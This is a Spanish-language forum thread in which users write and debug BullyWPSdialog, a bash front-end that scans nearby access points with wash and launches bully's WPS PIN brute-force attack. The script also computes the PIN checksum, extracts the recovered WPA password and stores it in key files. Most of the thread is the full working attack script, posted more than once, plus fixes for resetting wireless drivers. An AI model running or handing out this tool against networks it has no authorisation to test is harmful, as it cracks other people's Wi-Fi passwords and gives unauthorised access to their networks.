BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')"

# Comprobamos si la clave ya ha sido obtenida anteriormente
if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then
WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')"
CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')"
else
obtener_clave_wpa
fi

# Si la clave ya ha diso obtenida anteriormente, la mostramos en el menú,
# en caso contrario mostramos solo la información básica
if [ "$CLAVE_WPA" ]; then
menu --InfoAP --InfoWPA
else
menu --InfoAP
fi
}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Volver al menú" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
PORCENT=$(($(($N1*100))/$N2))
echo $PORCENT
sleep 1
N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
exit 1
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then
echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO      $DRIVER\" \\"
N=$(($N+1))
fi
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset            Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then exit 1; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        reset_iface; exit 1
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"

dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0
sleep 3

# Saltámos al menú principal
menu
}

# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}

# Función menú principal
menu() {

# Información del objetivo
INFO_AP="
$(if [ "$1" = "--InfoAP" ]; then
echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
echo "   ************************************  \n"
echo "      ESSID: $ESSID\n"
echo "      BSSID: $BSSID\n"
echo "      Canál: $CANAL\n"
if [ "$2" = "--InfoWPA" ]; then
echo "    PIN WPS: $WPS_PIN\n"
echo "  Clave WPA: $CLAVE_WPA\n"
echo "   ************************************  \n\n"
else
echo "   ************************************  \n\n"
fi
fi)"

# Diálogo con opciones del menú principal
dialog --backtitle "$BACKTITLE" \
       --title " MENU PRINCIPAL " \
       --cancel-label "Salir" \
       --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \
     "1)" "Escanear en busca de objetivos" \
     "2)" "Comenzar ataque de fuerza bruta" \
     "3)" "Probar un PIN específico" \
     "4)" "Seleccionar otro objetivo" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos
if [ ! $? = 0 ]; then reset_iface; exit 1; fi

# Dependiendo de la opción elegida, se llama a la función correspondiente
case $(cat "$TMP/seleccion.txt"|tr -d ')') in
1 ) escanear_wps;;
2 ) bully_wps --InfoAP;;
3 ) bully_wps --InfoAP --Pin;;
4 ) seleccionar_objetivo;;
esac
}

# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Comienza el script seleccionando la interface
seleccionar_interface
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 16:30 (Miércoles)
pues listo.

los rtl usan un modulo biblioteca llamado rtlwifi, pero me extrañaria mucho que tuvieras que desinstanciarlo. todos los dispositivos tienen drivers especificos que, aunque cuelguen del primero, son suficientes en caso de que se necesite un "full reset" del adaptador.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:35 (Miércoles)
pues listo.

los rtl usan un modulo biblioteca llamado rtlwifi, pero me extrañaria mucho que tuvieras que desinstanciarlo. todos los dispositivos tienen drivers especificos que, aunque cuelguen del primero, son suficientes en caso de que se necesite un "full reset" del adaptador.

si salen mas casos se hiran viendo.


gracias por tu ayudita  >:(
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 16:56 (Miércoles)
wellcome!
proxima tarea, parchear el 3.9, que lo tengo ahi colgao. hacer backports es un rollazo xD
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 25-09-2013, 20:49 (Miércoles)
Bueno ya veo que habéis dado con el problema, gracias a los dos  ;)

Yo también he estado haciendo los deberes  >:D

He estado indagando en el código de airmon-ng, y resulta que ellos ya se habían dado cuenta de ese problema y lo tenían solucionado, y no solo pasa con las ath9k, también con las ath5k.

A parte de eso, también hay otro problema a la ora de detectar el driver "WiLink".

He añadido todos eso parches a la función reset_iface, y al final ha quedado así:

Código: [Seleccionar]
# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then

# Identificamos el driver de la interface seleccionada
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
if [ "$(echo "$DRIVER"|grep "ath9k")" ]; then
DRIVER="ath9k"
elif [ "$(echo "$DRIVER"|grep "ath5k")" ]; then
DRIVER="ath5k"
elif [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then
DRIVER="WiLink"
fi

# Se desmonta y se vuelve a montar el driver
rmmod -f "$DRIVER"       >/dev/null 2>&1
modprobe "$DRIVER"       >/dev/null 2>&1

# Se pone la interface "up" para evitar problemas
# con algunos adaptadores inalámbricos
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

Ya he puesto la versión 0.8 en el post principal con la función parcheada  ;)
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 09:49 (Jueves)
Bien , ... pues resulta que estamos IGUAL O PEOR que antes.


Cuando el driver es ath9k_htc , hay que resetear 2


ath9k & ath9k_htc


me di cuenta de que no estaba funcionando por que el numero de interfaces monitor no para de aumentar y cuando tumbamos el driver se supone que caen todas ...y no es asi , por lo que el driver no se esta desmontando.  :'(


Al final veras tu , que lo mas comodo el el down/up y a correr.
Título: Re: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: cond-e en 26-09-2013, 09:52 (Jueves)
Ami me pasa ke lanzo el script y monta la tarjeta wifistation ext en modo monitor pero dice ke no detecta redes pruevo a montar aparte la tarjeta en modo monitor y el script al iniciar la desmonta y sigue sin detectar redes:-\

Enviado desde mi GT-I9100 usando Tapatalk 2
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 26-09-2013, 10:14 (Jueves)
Al final veras tu , que lo mas comodo el el down/up y a correr.

No hay que tirar la toalla tan pronto hombre.. en esta vida todo tiene solución menos la muerte  >:D

Prueba esto cuando puedas:

Código: [Seleccionar]
#!/bin/bash

# VERSION 0.1  12/09/2013
# -----------------------
# - Fecha de salida
#
# VERSION 0.2  12/09/2013
# -----------------------
# - Solucionado bug con ESSIDs que contengan espacios (Warcry)
#
# VERSION 0.3  13/09/2013
# -----------------------
# - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO)
#
# VERSION 0.4  13/09/2013
# -----------------------
# - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa.
#  (USUARIONUEVO)
#
# VERSION 0.5  19/09/2013
# -----------------------
# - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error.
# - Solucionado problema que impedía leer la clave WPA del log de bully.
# - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver
#   a montar el driver de la interface (es mas efectivo).
# - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y
#   en caso afirmativo, se muestra la clave junto con la información del objetivo.
#
# VERSION 0.6  24/09/2013
# -----------------------
# - Modificada funciona de reseteo de interface para añadir al final un ifconfig up
# - Ahora se "resetea" la interface también al salir del script.
#
# VERSION 0.7  24/09/2013
# -----------------------
# - Solucionado bug que probocaba que se quedara el PIN "fijado"
#   en el ataque de fuerza bruta habiendo realizado anteriormente
#   un ataque introduciendo un PIN especifico.
# - Solucionado un error ortográfico.
#
# VERSION 0.8  25/09/2013
# -----------------------
# - Mejorada la función de detectar driver ya que no identificaba correctamnete
#   los drivers ath5k, ath9k y WiLink.



# Variables globales
SCRIPT="BullyWPSdialog"
VERSION="0.8.1 Beta"
BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net"
TMP="/tmp/$SCRIPT"
KEYS="$HOME/swireless/$SCRIPT/Keys"

# Función que obtiene PIN y clave WPA del log de bully
obtener_clave_wpa() {

# En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|grep "signal 0$")" ]; then

# Se parsea el log de bully para obtener el PIN y la clave WPA
WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $2}')"
CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $4}')"

# Si el BSSID objetivo cumple con el CheckSum,
# este se calcula para saber cual es el último dígito del PIN
# (ya podría venir el PIN completo en el log de bully ¬¬)
if [ ! "$NO_CHECKSUM" ]; then
WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7)
pin=$WPS_PIN
wps_pin_checksum
WPS_PIN=$WPS_PIN$PIN_p2
fi
else
WPS_PIN=""
CLAVE_WPA=""
fi

}

# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then

# Identificamos el driver de la interface seleccionada
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
if [ "$(echo "$DRIVER"|grep "ath9k")" ]; then
DRIVER="ath9k $DRIVER"
elif [ "$(echo "$DRIVER"|grep "ath5k")" ]; then
DRIVER="ath5k $DRIVER"
elif [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then
DRIVER="WiLink"
fi

# Se desmonta y se vuelve a montar el driver
for X in $DRIVER; do
rmmod -f "$X"       >/dev/null 2>&1
done
for X in $DRIVER; do
modprobe "$X"       >/dev/null 2>&1
done

# Se pone la interface "up" para evitar problemas
# con algunos adaptadores inalámbricos
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Salir" \
      --msgbox "\nPara evitar errores, la interface $INTERFACE \
               no debe estar asociada a un punto de acceso.\n " 0 0
exit 1
fi
}

# Función salvar clave WPA
salvar_clave_wpa() {

# Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú
if [ ! "$CLAVE_WPA" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " PROCESO COMPLETADO " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0
     
# Si dialog no devuelve el valor 0, salimos
if [ $? != 0 ]; then
reset_iface; exit 1
fi

menu --InfoAP
fi

# Si existe la ruta $KEYS y no es un directorio se elimina
if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi

# Si no existe la ruta $KEYS la creamos
if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi

# Salvamos la clave en un archivo de texto
NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')"
cat << EOF >"$TMP/$NOMBRE.key"
    ESSID: $ESSID
    BSSID: $BSSID
  PIN WPS: $WPS_PIN
CLAVE WPA: $CLAVE_WPA
EOF

# Convertimos el texto a formato windows
cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt"

# Diálogo que informa donde se ha guardado la clave WPA
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\n¡Se han obtenido con exito clave WPA! \
                \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0

# Saltamos al menú principal
menu --InfoAP --InfoWPA
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
menu
fi

# Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum
if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then
NO_CHECKSUM="-B"
LONGITUD_PIN="8"
else
NO_CHECKSUM=""
LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin
if [ "$1" = "--Pin" -o "$2" = "--Pin" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " INTRODUCIR PIN MANUALMENTE " \
      --cancel-label "Volver al menú" \
      --max-input "$LONGITUD_PIN" \
      --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
2>"$TMP/PIN_WPS.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se intruduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
bully_wps --InfoAP --Pin
fi

# Guardamos en una variable el PIN junto con los parámetros para bully
PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
else
PIN_WPS=""
fi

# Lanzamos ataque con bully
xterm  -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
bully -F -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM -N $INTERFACE_MON & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,
                 presiona \"Control+C\" para detener el proceso.\n " 16 49
      
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
sleep 2
done

# Obtenemos el PIN y clave WPA
obtener_clave_wpa

# Salvamos PIN y clave en un archivo
salvar_clave_wpa

}

# Función seleccionar objetivo
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
menu
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do
if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi
echo "\"$N)\" \"$MAC    $LOCK       $CANAL     $(($PWR+100))    $ESSID\" \\"
N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Volver al menú" \
       --menu "\n              BSSID        Locked   Canal   PWR    ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)"
BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')"

# Comprobamos si la clave ya ha sido obtenida anteriormente
if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then
WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')"
CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')"
else
obtener_clave_wpa
fi

# Si la clave ya ha diso obtenida anteriormente, la mostramos en el menú,
# en caso contrario mostramos solo la información básica
if [ "$CLAVE_WPA" ]; then
menu --InfoAP --InfoWPA
else
menu --InfoAP
fi
}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Volver al menú" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
PORCENT=$(($(($N1*100))/$N2))
echo $PORCENT
sleep 1
N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
exit 1
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then
echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO      $DRIVER\" \\"
N=$(($N+1))
fi
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset            Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then exit 1; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        reset_iface; exit 1
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"

dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0
sleep 3

# Saltámos al menú principal
menu
}

# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}

# Función menú principal
menu() {

# Información del objetivo
INFO_AP="
$(if [ "$1" = "--InfoAP" ]; then
echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
echo "   ************************************  \n"
echo "      ESSID: $ESSID\n"
echo "      BSSID: $BSSID\n"
echo "      Canál: $CANAL\n"
if [ "$2" = "--InfoWPA" ]; then
echo "    PIN WPS: $WPS_PIN\n"
echo "  Clave WPA: $CLAVE_WPA\n"
echo "   ************************************  \n\n"
else
echo "   ************************************  \n\n"
fi
fi)"

# Diálogo con opciones del menú principal
dialog --backtitle "$BACKTITLE" \
       --title " MENU PRINCIPAL " \
       --cancel-label "Salir" \
       --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \
     "1)" "Escanear en busca de objetivos" \
     "2)" "Comenzar ataque de fuerza bruta" \
     "3)" "Probar un PIN específico" \
     "4)" "Seleccionar otro objetivo" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos
if [ ! $? = 0 ]; then reset_iface; exit 1; fi

# Dependiendo de la opción elegida, se llama a la función correspondiente
case $(cat "$TMP/seleccion.txt"|tr -d ')') in
1 ) escanear_wps;;
2 ) bully_wps --InfoAP;;
3 ) bully_wps --InfoAP --Pin;;
4 ) seleccionar_objetivo;;
esac
}

# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Comienza el script seleccionando la interface
seleccionar_interface

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 10:35 (Jueves)
Bueno pues a ver..


lo que ocurre ( creo que era eso desde el principio ) es que se le da la orden de reset y monta inmediatamente despues y al driver no le daba tiempo a remontar el vuelo.



Código: [Seleccionar]
# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

si en esa linea..justo debajo le damos un simple sleep 2 se resuelve el problema.


# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface
sleep 2



Creo que era eso desde el principio ...


Ahora si , ..genero antes de lanzarlo 3 o 4 interfaces en monitor ...y ahora si desaparecen , ...claro que el driver lo tumbamos a base de bien  ;D


SIN EL SLEEP NO PIRULAAAA  , en mi equipo con un sleep 2 vale ,pero no se si talvez un sleep 3 para asegurar la jugada.

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 26-09-2013, 10:43 (Jueves)
Ok, bueno pues como se llama a la función varias veces, para no poner el sleep  cada vez que se llame a la función, meto el sleep dentro de la función. He puesto uno después de desmontar el driver y otro después de volver a montarlo.

A ver que tal va:

Código: [Seleccionar]
#!/bin/bash

# VERSION 0.1  12/09/2013
# -----------------------
# - Fecha de salida
#
# VERSION 0.2  12/09/2013
# -----------------------
# - Solucionado bug con ESSIDs que contengan espacios (Warcry)
#
# VERSION 0.3  13/09/2013
# -----------------------
# - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO)
#
# VERSION 0.4  13/09/2013
# -----------------------
# - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa.
#  (USUARIONUEVO)
#
# VERSION 0.5  19/09/2013
# -----------------------
# - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error.
# - Solucionado problema que impedía leer la clave WPA del log de bully.
# - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver
#   a montar el driver de la interface (es mas efectivo).
# - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y
#   en caso afirmativo, se muestra la clave junto con la información del objetivo.
#
# VERSION 0.6  24/09/2013
# -----------------------
# - Modificada funciona de reseteo de interface para añadir al final un ifconfig up
# - Ahora se "resetea" la interface también al salir del script.
#
# VERSION 0.7  24/09/2013
# -----------------------
# - Solucionado bug que probocaba que se quedara el PIN "fijado"
#   en el ataque de fuerza bruta habiendo realizado anteriormente
#   un ataque introduciendo un PIN especifico.
# - Solucionado un error ortográfico.
#
# VERSION 0.8  25/09/2013
# -----------------------
# - Mejorada la función de detectar driver ya que no identificaba correctamnete
#   los drivers ath5k, ath9k y WiLink.



# Variables globales
SCRIPT="BullyWPSdialog"
VERSION="0.8.1 Beta"
BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net"
TMP="/tmp/$SCRIPT"
KEYS="$HOME/swireless/$SCRIPT/Keys"

# Función que obtiene PIN y clave WPA del log de bully
obtener_clave_wpa() {

# En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|grep "signal 0$")" ]; then

# Se parsea el log de bully para obtener el PIN y la clave WPA
